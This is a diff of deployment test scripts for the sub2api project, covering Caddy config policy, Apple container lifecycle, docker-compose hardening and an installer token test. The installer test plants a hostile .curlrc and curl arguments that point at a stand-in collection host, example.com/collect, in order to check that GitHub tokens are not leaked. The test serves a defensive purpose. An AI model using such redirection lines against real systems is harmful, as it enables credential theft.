|
||||
|
||||
# Environment - Server configuration
|
||||
# Modify these values to change listen address and port
|
||||
Environment=GIN_MODE=release
|
||||
Environment=SERVER_HOST=0.0.0.0
|
||||
Environment=SERVER_PORT=8080
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
Executable
+85
@@ -0,0 +1,85 @@
|
||||
#!/bin/sh
|
||||
set -eu
|
||||
|
||||
repo_root=$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd)
|
||||
caddyfile="$repo_root/deploy/Caddyfile"
|
||||
active_config=$(sed 's/[[:space:]]*#.*$//' "$caddyfile")
|
||||
normalized_config=$(printf '%s\n' "$active_config" | awk '
|
||||
NF > 0 {
|
||||
for (field = 1; field <= NF; field++) {
|
||||
token = $field
|
||||
sub(/^["`]/, "", token)
|
||||
sub(/["`]$/, "", token)
|
||||
printf "%s%s", (field == 1 ? "" : " "), token
|
||||
}
|
||||
print ""
|
||||
}
|
||||
')
|
||||
|
||||
# Keep one canonical encode block instead of reimplementing Caddy matcher semantics.
|
||||
expected_encode_block=$(cat <<'EOF'
|
||||
encode {
|
||||
zstd
|
||||
gzip 6
|
||||
minimum_length 256
|
||||
match {
|
||||
header Content-Type text/css*
|
||||
header Content-Type text/csv*
|
||||
header Content-Type text/html*
|
||||
header Content-Type text/javascript*
|
||||
header Content-Type text/markdown*
|
||||
header Content-Type text/plain*
|
||||
header Content-Type text/xml*
|
||||
header Content-Type application/json*
|
||||
header Content-Type application/javascript*
|
||||
header Content-Type application/xml*
|
||||
header Content-Type application/rss+xml*
|
||||
header Content-Type image/svg+xml*
|
||||
}
|
||||
}
|
||||
EOF
|
||||
)
|
||||
|
||||
if printf '%s\n' "$normalized_config" | grep -Eiq 'cache-control.*immutable'; then
|
||||
echo "Caddyfile must not force immutable caching; the backend owns asset cache policy" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! printf '%s\n' "$normalized_config" | grep -Eq '^reverse_proxy localhost:8080([[:space:]]|$)'; then
|
||||
echo "Caddyfile must continue proxying all application routes to localhost:8080" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if printf '%s\n' "$normalized_config" | grep -Eq '^import([[:space:]]|$)'; then
|
||||
echo "Caddyfile must not import configuration outside this canonical policy check" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if printf '%s\n' "$normalized_config" | grep -Eiq '^flush_interval([[:space:]]|$)'; then
|
||||
echo "Caddyfile must leave flush_interval unset so SSE auto-flushing and client cancellation remain intact" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
encode_directive_count=$(printf '%s\n' "$normalized_config" | awk '$1 == "encode" { count++ } END { print count + 0 }')
|
||||
if [ "$encode_directive_count" -ne 1 ]; then
|
||||
echo "Caddyfile must contain exactly one explicit encode block" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
actual_encode_block=$(printf '%s\n' "$normalized_config" | awk '
|
||||
$1 == "encode" { in_block = 1 }
|
||||
in_block {
|
||||
print
|
||||
for (field = 1; field <= NF; field++) {
|
||||
if ($field == "{") depth++
|
||||
if ($field == "}") depth--
|
||||
}
|
||||
if (depth == 0) exit
|
||||
}
|
||||
')
|
||||
if [ "$actual_encode_block" != "$expected_encode_block" ]; then
|
||||
echo "Caddyfile encode block must keep the canonical non-SSE compression policy" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Caddyfile preserves backend cache policy, SSE streaming, and non-SSE compression"
|
||||
Executable
+78
@@ -0,0 +1,78 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
TEST_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
DEPLOY_DIR="$(cd "${TEST_DIR}/.." && pwd)"
|
||||
SCRIPT="${DEPLOY_DIR}/apple-container.sh"
|
||||
TEST_ROOT="$(mktemp -d "${TMPDIR:-/tmp}/sub2api-apple-test.XXXXXX")"
|
||||
STATE_DIR="${TEST_ROOT}/state"
|
||||
ENV_FILE="${TEST_ROOT}/sub2api.env"
|
||||
|
||||
cleanup() {
|
||||
rm -rf "${TEST_ROOT}"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
fail() {
|
||||
printf 'FAIL: %s\n' "$*" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
assert_exists() {
|
||||
[[ -e "$1" ]] || fail "Expected path to exist: $1"
|
||||
}
|
||||
|
||||
assert_missing() {
|
||||
[[ ! -e "$1" ]] || fail "Expected path to be absent: $1"
|
||||
}
|
||||
|
||||
export FAKE_CONTAINER_STATE="${STATE_DIR}"
|
||||
export PATH="${TEST_DIR}/fixtures/bin:${PATH}"
|
||||
export SUB2API_ENV_FILE="${ENV_FILE}"
|
||||
|
||||
mkdir -p "${STATE_DIR}"
|
||||
|
||||
"${SCRIPT}" init
|
||||
[[ "$(stat -f '%Lp' "${ENV_FILE}")" == "600" ]] || fail "init did not create a mode-600 env file"
|
||||
grep -q '^POSTGRES_PASSWORD=change_this_secure_password$' "${ENV_FILE}" && fail "init retained the placeholder password"
|
||||
|
||||
chmod 644 "${ENV_FILE}"
|
||||
if "${SCRIPT}" up >/dev/null 2>&1; then
|
||||
fail "up accepted an insecure env file"
|
||||
fi
|
||||
chmod 600 "${ENV_FILE}"
|
||||
|
||||
"${SCRIPT}" up
|
||||
assert_exists "${STATE_DIR}/containers/sub2api-apple"
|
||||
assert_exists "${STATE_DIR}/containers/sub2api-apple-postgres"
|
||||
assert_exists "${STATE_DIR}/containers/sub2api-apple-redis"
|
||||
assert_exists "${STATE_DIR}/running/sub2api-apple"
|
||||
"${SCRIPT}" status >/dev/null
|
||||
|
||||
"${SCRIPT}" up --recreate
|
||||
assert_exists "${STATE_DIR}/running/sub2api-apple"
|
||||
"${SCRIPT}" down
|
||||
assert_missing "${STATE_DIR}/running/sub2api-apple"
|
||||
assert_missing "${STATE_DIR}/running/sub2api-apple-postgres"
|
||||
assert_missing "${STATE_DIR}/running/sub2api-apple-redis"
|
||||
|
||||
"${SCRIPT}" destroy --yes
|
||||
assert_missing "${STATE_DIR}/containers/sub2api-apple"
|
||||
assert_missing "${STATE_DIR}/networks/sub2api-apple"
|
||||
assert_exists "${STATE_DIR}/volumes/sub2api-apple-data"
|
||||
|
||||
"${SCRIPT}" up
|
||||
"${SCRIPT}" destroy --volumes --yes
|
||||
assert_missing "${STATE_DIR}/volumes/sub2api-apple-data"
|
||||
assert_missing "${STATE_DIR}/volumes/sub2api-apple-postgres-data"
|
||||
assert_missing "${STATE_DIR}/volumes/sub2api-apple-redis-data"
|
||||
|
||||
touch "${STATE_DIR}/system-running"
|
||||
touch "${STATE_DIR}/containers/sub2api-apple"
|
||||
touch "${STATE_DIR}/unowned/container/sub2api-apple"
|
||||
if "${SCRIPT}" status >/dev/null 2>&1; then
|
||||
fail "status accepted an unowned same-name container"
|
||||
fi
|
||||
|
||||
printf 'Apple container lifecycle tests passed.\n'
|
||||
Executable
+44
@@ -0,0 +1,44 @@
|
||||
#!/bin/sh
|
||||
set -eu
|
||||
|
||||
repo_root=$(CDPATH= cd -- "$(dirname -- "$0")/../.." && pwd)
|
||||
cd "$repo_root"
|
||||
|
||||
check_application_security_opt() {
|
||||
file=$1
|
||||
count=$(
|
||||
awk '
|
||||
$0 == " sub2api:" {
|
||||
in_application = 1
|
||||
next
|
||||
}
|
||||
in_application && $0 ~ /^ [A-Za-z0-9_-]+:$/ {
|
||||
in_application = 0
|
||||
}
|
||||
in_application && $0 == " security_opt:" {
|
||||
in_security_opt = 1
|
||||
next
|
||||
}
|
||||
in_application && in_security_opt && $0 == " - no-new-privileges:true" {
|
||||
count++
|
||||
}
|
||||
END { print count + 0 }
|
||||
' "$file"
|
||||
)
|
||||
|
||||
if [ "$count" -ne 1 ]; then
|
||||
printf '%s must enable no-new-privileges exactly once for the sub2api service\n' "$file" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
for compose_file in \
|
||||
deploy/docker-compose.yml \
|
||||
deploy/docker-compose.local.yml \
|
||||
deploy/docker-compose.standalone.yml \
|
||||
deploy/docker-compose.dev.yml
|
||||
do
|
||||
check_application_security_opt "$compose_file"
|
||||
done
|
||||
|
||||
printf 'docker compose security test passed\n'
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
#!/bin/sh
|
||||
set -eu
|
||||
|
||||
repo_root=$(CDPATH= cd -- "$(dirname -- "$0")/../.." && pwd)
|
||||
cd "$repo_root"
|
||||
|
||||
fail() {
|
||||
printf 'docker runtime resources test failed: %s\n' "$1" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
assert_line() {
|
||||
file=$1
|
||||
line=$2
|
||||
grep -Fqx "$line" "$file" || fail "$file is missing: $line"
|
||||
}
|
||||
|
||||
assert_count() {
|
||||
file=$1
|
||||
line=$2
|
||||
expected=$3
|
||||
actual=$(grep -Fxc "$line" "$file" || true)
|
||||
[ "$actual" -eq "$expected" ] || fail "$file has $actual occurrences of '$line', expected $expected"
|
||||
}
|
||||
|
||||
test -s backend/resources/model-pricing/model_prices_and_context_window.json || \
|
||||
fail 'fallback pricing data is missing or empty'
|
||||
|
||||
assert_line Dockerfile.goreleaser 'COPY --chown=sub2api:sub2api backend/resources /app/resources'
|
||||
assert_line deploy/Dockerfile 'COPY --from=backend-builder --chown=sub2api:sub2api /app/backend/resources /app/resources'
|
||||
assert_count .goreleaser.yaml ' - backend/resources' 4
|
||||
assert_count .goreleaser.simple.yaml ' - backend/resources' 1
|
||||
|
||||
printf 'docker runtime resources test passed\n'
|
||||
+164
@@ -0,0 +1,164 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -eu
|
||||
|
||||
STATE_DIR="${FAKE_CONTAINER_STATE:?FAKE_CONTAINER_STATE is required}"
|
||||
mkdir -p \
|
||||
"${STATE_DIR}/containers" \
|
||||
"${STATE_DIR}/running" \
|
||||
"${STATE_DIR}/networks" \
|
||||
"${STATE_DIR}/volumes" \
|
||||
"${STATE_DIR}/unowned/container" \
|
||||
"${STATE_DIR}/unowned/network" \
|
||||
"${STATE_DIR}/unowned/volume"
|
||||
|
||||
list_names() {
|
||||
local directory=$1
|
||||
local path
|
||||
|
||||
for path in "${directory}"/*; do
|
||||
[[ -e "${path}" ]] || continue
|
||||
basename "${path}"
|
||||
done
|
||||
}
|
||||
|
||||
last_argument() {
|
||||
local value=""
|
||||
|
||||
for value in "$@"; do :; done
|
||||
printf '%s\n' "${value}"
|
||||
}
|
||||
|
||||
inspect_resource() {
|
||||
local resource_type=$1
|
||||
local resource_name=$2
|
||||
local label_value="apple-container"
|
||||
local address="192.168.65.4/24"
|
||||
|
||||
if [[ -e "${STATE_DIR}/unowned/${resource_type}/${resource_name}" ]]; then
|
||||
label_value="other"
|
||||
fi
|
||||
case "${resource_name}" in
|
||||
sub2api-apple-postgres) address="192.168.65.2/24" ;;
|
||||
sub2api-apple-redis) address="192.168.65.3/24" ;;
|
||||
esac
|
||||
|
||||
printf '[{"configuration":{"labels":{"org.sub2api.stack":"%s"}},"status":{"networks":[{"ipv4Address":"%s"}]}}]\n' \
|
||||
"${label_value}" "${address}"
|
||||
}
|
||||
|
||||
command=${1-}
|
||||
if [[ $# -gt 0 ]]; then shift; fi
|
||||
|
||||
case "${command}" in
|
||||
--version)
|
||||
echo "container CLI version 1.1.0 (build: release, commit: fake)"
|
||||
;;
|
||||
system)
|
||||
subcommand=${1-}
|
||||
case "${subcommand}" in
|
||||
status) [[ -e "${STATE_DIR}/system-running" ]] ;;
|
||||
start) touch "${STATE_DIR}/system-running" ;;
|
||||
stop) rm -f "${STATE_DIR}/system-running" "${STATE_DIR}/running"/* ;;
|
||||
*) exit 1 ;;
|
||||
esac
|
||||
;;
|
||||
list)
|
||||
include_all=false
|
||||
for argument in "$@"; do
|
||||
[[ "${argument}" == "--all" || "${argument}" == "-a" ]] && include_all=true
|
||||
done
|
||||
if [[ "${include_all}" == true ]]; then
|
||||
list_names "${STATE_DIR}/containers"
|
||||
else
|
||||
list_names "${STATE_DIR}/running"
|
||||
fi
|
||||
;;
|
||||
network)
|
||||
subcommand=${1-}
|
||||
shift || true
|
||||
case "${subcommand}" in
|
||||
list)
|
||||
echo default
|
||||
list_names "${STATE_DIR}/networks"
|
||||
;;
|
||||
create) touch "${STATE_DIR}/networks/$(last_argument "$@")" ;;
|
||||
inspect) inspect_resource network "${1}" ;;
|
||||
delete) rm -f "${STATE_DIR}/networks/${1}" ;;
|
||||
*) exit 1 ;;
|
||||
esac
|
||||
;;
|
||||
volume)
|
||||
subcommand=${1-}
|
||||
shift || true
|
||||
case "${subcommand}" in
|
||||
list) list_names "${STATE_DIR}/volumes" ;;
|
||||
create) touch "${STATE_DIR}/volumes/$(last_argument "$@")" ;;
|
||||
inspect) inspect_resource volume "${1}" ;;
|
||||
delete) rm -f "${STATE_DIR}/volumes/${1}" ;;
|
||||
*) exit 1 ;;
|
||||
esac
|
||||
;;
|
||||
image)
|
||||
subcommand=${1-}
|
||||
case "${subcommand}" in
|
||||
inspect|pull) exit 0 ;;
|
||||
*) exit 1 ;;
|
||||
esac
|
||||
;;
|
||||
create)
|
||||
name=""
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--name)
|
||||
name=$2
|
||||
shift 2
|
||||
;;
|
||||
--label|--network|--platform|--ulimit|--env-file|--volume|--entrypoint|--publish)
|
||||
shift 2
|
||||
;;
|
||||
*)
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
[[ -n "${name}" ]]
|
||||
touch "${STATE_DIR}/containers/${name}"
|
||||
;;
|
||||
inspect)
|
||||
inspect_resource container "${1}"
|
||||
;;
|
||||
start)
|
||||
touch "${STATE_DIR}/running/${1}"
|
||||
;;
|
||||
stop)
|
||||
for argument in "$@"; do
|
||||
case "${argument}" in
|
||||
--time|--signal) skip_next=true ;;
|
||||
[0-9]*|SIG*) ;;
|
||||
*) rm -f "${STATE_DIR}/running/${argument}" ;;
|
||||
esac
|
||||
done
|
||||
;;
|
||||
delete)
|
||||
for argument in "$@"; do
|
||||
case "${argument}" in
|
||||
--force|-f) ;;
|
||||
*)
|
||||
rm -f "${STATE_DIR}/running/${argument}"
|
||||
rm -f "${STATE_DIR}/containers/${argument}"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
;;
|
||||
exec)
|
||||
echo 1
|
||||
;;
|
||||
logs|copy)
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
echo "Unsupported fake container command: ${command} $*" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
+4
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -eu
|
||||
printf '{"status":"ok"}\n'
|
||||
Executable
+103
@@ -0,0 +1,103 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ROOT_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
trap 'rm -rf "$TEMP_DIR"' EXIT
|
||||
|
||||
cat > "$TEMP_DIR/curl" <<'EOF'
|
||||
#!/bin/bash
|
||||
printf '%s\n' "$@" > "$CURL_ARGS_LOG"
|
||||
env > "${CURL_ARGS_LOG}.env"
|
||||
cat > "${CURL_ARGS_LOG}.stdin"
|
||||
EOF
|
||||
chmod +x "$TEMP_DIR/curl"
|
||||
|
||||
mkdir "$TEMP_DIR/home"
|
||||
cat > "$TEMP_DIR/home/.curlrc" <<'EOF'
|
||||
url = "https://example.com/collect"
|
||||
header = "X-Leaked-From-Curlrc: yes"
|
||||
EOF
|
||||
|
||||
run_api_curl() {
|
||||
CURL_ARGS_LOG="$1" HOME="$TEMP_DIR/home" PATH="$TEMP_DIR:$PATH" UPDATE_GITHUB_TOKEN="${2:-}" \
|
||||
GITHUB_TOKEN="github-fallback" GH_TOKEN="gh-fallback" \
|
||||
bash -c 'source <(head -n -1 "$1"); github_api_curl -s "$2"' bash \
|
||||
"$ROOT_DIR/deploy/install.sh" "https://api.github.com/repos/Wei-Shaw/sub2api/releases/latest"
|
||||
}
|
||||
|
||||
run_api_curl "$TEMP_DIR/authenticated" "update-secret"
|
||||
test "$(head -n 1 "$TEMP_DIR/authenticated")" = '-q'
|
||||
grep -Fxq -- '--config' "$TEMP_DIR/authenticated"
|
||||
grep -Fxq -- '-' "$TEMP_DIR/authenticated"
|
||||
grep -Fxq -- '--globoff' "$TEMP_DIR/authenticated"
|
||||
grep -Fxq 'header = "Authorization: Bearer update-secret"' "$TEMP_DIR/authenticated.stdin"
|
||||
if grep -Fq 'update-secret' "$TEMP_DIR/authenticated"; then
|
||||
echo "installer exposed the update token in curl argv" >&2
|
||||
exit 1
|
||||
fi
|
||||
if grep -Eq 'update-secret|github-fallback|gh-fallback' "$TEMP_DIR/authenticated.env"; then
|
||||
echo "installer exposed a token in curl environment" >&2
|
||||
exit 1
|
||||
fi
|
||||
test "$(grep -Fxc 'https://api.github.com/repos/Wei-Shaw/sub2api/releases/latest' "$TEMP_DIR/authenticated")" -eq 1
|
||||
if grep -Fq 'example.com/collect' "$TEMP_DIR/authenticated" || grep -Fq 'X-Leaked-From-Curlrc' "$TEMP_DIR/authenticated" ||
|
||||
grep -Fq 'example.com/collect' "$TEMP_DIR/authenticated.stdin" || grep -Fq 'X-Leaked-From-Curlrc' "$TEMP_DIR/authenticated.stdin"; then
|
||||
echo "installer allowed hostile curl config into authenticated invocation" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
run_api_curl "$TEMP_DIR/anonymous"
|
||||
test "$(head -n 1 "$TEMP_DIR/anonymous")" = '-q'
|
||||
if grep -Eq 'github-fallback|gh-fallback' "$TEMP_DIR/anonymous.env"; then
|
||||
echo "installer exposed a fallback token in anonymous curl environment" >&2
|
||||
exit 1
|
||||
fi
|
||||
if grep -Fq 'Authorization:' "$TEMP_DIR/anonymous"; then
|
||||
echo "installer unexpectedly used a fallback token" >&2
|
||||
exit 1
|
||||
fi
|
||||
test ! -s "$TEMP_DIR/anonymous.stdin"
|
||||
test "$(grep -Fxc 'https://api.github.com/repos/Wei-Shaw/sub2api/releases/latest' "$TEMP_DIR/anonymous")" -eq 1
|
||||
if grep -Fq 'example.com/collect' "$TEMP_DIR/anonymous" || grep -Fq 'X-Leaked-From-Curlrc' "$TEMP_DIR/anonymous"; then
|
||||
echo "installer allowed hostile curl config into anonymous invocation" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
assert_unsafe_invocation_rejected() {
|
||||
local name=$1
|
||||
shift
|
||||
rm -f "$TEMP_DIR/$name" "$TEMP_DIR/$name.stdin"
|
||||
if CURL_ARGS_LOG="$TEMP_DIR/$name" PATH="$TEMP_DIR:$PATH" UPDATE_GITHUB_TOKEN="update-secret" \
|
||||
bash -c 'source <(head -n -1 "$1"); shift; github_api_curl "$@"' bash \
|
||||
"$ROOT_DIR/deploy/install.sh" "$@" 2>/dev/null; then
|
||||
echo "installer accepted unsafe curl invocation: $name" >&2
|
||||
exit 1
|
||||
fi
|
||||
if [ -e "$TEMP_DIR/$name" ]; then
|
||||
echo "installer invoked curl for unsafe request: $name" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
assert_unsafe_invocation_rejected non-api -s \
|
||||
"https://github.com/Wei-Shaw/sub2api/releases/download/v1/asset"
|
||||
assert_unsafe_invocation_rejected mixed-host -s \
|
||||
"https://api.github.com/repos/Wei-Shaw/sub2api/releases/latest" \
|
||||
"https://example.com/collect"
|
||||
assert_unsafe_invocation_rejected multiple-api -s \
|
||||
"https://api.github.com/repos/Wei-Shaw/sub2api/releases/latest" \
|
||||
"https://api.github.com/repos/Wei-Shaw/sub2api/releases"
|
||||
assert_unsafe_invocation_rejected url-option -s --url \
|
||||
"https://example.com/collect" \
|
||||
"https://api.github.com/repos/Wei-Shaw/sub2api/releases/latest"
|
||||
|
||||
# Every installer release API request must use the scoped helper.
|
||||
test "$(grep -c 'github_api_curl .*https://api.github.com/' "$ROOT_DIR/deploy/install.sh")" -eq 3
|
||||
|
||||
# Asset and checksum downloads must continue to call curl directly.
|
||||
grep -Fq 'curl -sL "$download_url"' "$ROOT_DIR/deploy/install.sh"
|
||||
grep -Fq 'curl -sL "$checksum_url"' "$ROOT_DIR/deploy/install.sh"
|
||||
|
||||
echo "install GitHub token checks passed"
|
||||
Reference in New Issue
Block a user